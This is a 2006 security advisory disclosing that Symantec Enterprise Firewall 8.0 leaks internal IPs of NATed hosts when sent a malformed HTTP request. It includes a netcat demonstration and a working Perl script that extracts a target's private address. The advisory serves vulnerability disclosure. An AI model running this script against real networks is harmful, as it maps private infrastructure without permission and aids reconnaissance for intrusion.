SEC-CONSULT Security Advisory 20060512-0
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title: Symantec Enterprise Firewall NAT/HTTP
Proxy Private IP Exposure
program: Symantec Enterprise FW
vulnerable version: 8.0
homepage: www.symantec.com
found: 2005-09-13
by: SEC Consult / www.sec-consult.com
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Vendor description:
---------------
Symantec's Enterprise Firewall provides complete network protection by integrating smart application-level proxies, network circuits and packet filtering into a special perimeter-security architecture (...)
Vulnerabilty overview:
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Enterprise FW leaks internal IPs of natted machines in response to certain HTTP requests.
Vulnerability details:
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A request of the form "get/XX HTTP/1.0" (note the missing space) triggers the exposure. The firewall seems to forward the request and to wait a certain time for a reply from the webserver, until the timeout is reaches. the final response from the firewall looks like:
df0rm@b4byl0n:~> netcat www.behind-raptor.com 80
get/01 http/1.0
HTTP/1.1 504 Gateway Timeout
MIME-Version: 1.0
Server: Simple, Secure Web Server 1.1
Date: Tue, 13 Sep 2005 06:23:32 GMT
Connection: close
Content-Type: text/html
[...]
The request seen by the firewall was:
<tt><ul><li>
http://10.238.94.57/01
Here's a simple script to map external to internal IPs.
---------------
#!/usr/bin/perl
# [title] raptor firewall internal IP disclosure 'exploit'
# [mailto] research [at] sec-consult [dot} com
#
# sk0L@b4byl0n:~/home/sk0L> perl raptor-nat.pl behind.raptor.com
# waiting for timeout (this can take about 1 min.)
# behind.raptor.com: 10.238.94.67
use IO::Socket;
$| = 1;
$host = $ARGV[0] or die "$0 <host>\n";
$request = "getXXX/XXX HTTP/1.0\n\n";
my $sock = new IO::Socket::INET (
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
);
die "could not open socket: $!\n" unless $sock;
print $sock $request;
print "waiting for timeout (this can take about 1 min.)\n";
while (<$sock>) {
if ($_ =~ /http:\/\/(\d+\.\d+\.\d+\.\d+)XXX/) {
$ip = $1;
}
}
if (defined($ip)) {
print "$host: $ip\n";
} else {
print "failed.\n";
}
close($sock);
vendor status:
---------------
vendor notified: 2005-09-13
vendor response: 2005-09-13
patch available: 2005-12
General remarks
---------------
We would like to apologize in advance for potential nonconformities and/or known issues.
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EOF SEC Consult / @2006
research at sec-consult dot com